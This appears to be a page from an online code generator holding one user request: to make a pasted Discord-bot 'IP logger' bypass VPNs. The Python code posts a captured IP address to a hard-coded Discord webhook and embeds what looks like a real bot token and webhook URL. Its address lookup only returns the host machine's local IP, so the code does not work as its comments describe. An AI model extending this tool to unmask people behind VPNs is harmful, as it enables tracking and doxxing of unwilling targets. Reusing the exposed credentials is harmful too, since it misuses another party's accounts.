Generation

generate functionTue, 10 Dec 2024

make this ip logger bypass vpn import discord from discord.ext import commands import socket import httpx # Import httpx for webhook requests # Your bot token TOKEN = 'MTMxMTA2MDg3Mjg4OTc2NTg5OA.GIYS-1.sFjPGfcHTjJpRG8GdR7iuQ3Dt1r5jcbAGmd75s' # Your webhook URL WEBHOOK_URL = 'https://discord.com/api/webhooks/1305967336846528515/ZjF443-4TrKNaqKEHmp2dKRGLAa3IZG6aDmOafAmR-C8I2V1cPPbVLY45lrJlj7EnUU7te' # Define the bot's intents intents = discord.Intents.default() intents.messages = True # Enable receiving message events if needed # Create the bot with the specified command prefix and intents bot = commands.Bot(command_prefix='!', intents=intents) # Event to indicate the bot is ready @bot.event async def on_ready(): print(f'{bot.user} has connected to Discord!') # Command to generate and send IP address @bot.command(name='generate') async def generate(ctx): # Get the user's IP address ip = get_ip() # Send a message to the webhook async with httpx.AsyncClient() as client: response = await client.post(WEBHOOK_URL, json={"content": f"User IP: {ip}"}) if response.status_code == 204: await ctx.send("IP address successfully sent to the webhook!") else: await ctx.send("Failed to send IP address to the webhook.") # Function to get the user's IP address def get_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) ip = s.getsockname()[0] s.close() return ip # Run the bot bot.run(TOKEN)

Please keep input under 1000 characters

Questions about programming?Chat with your personal AI assistant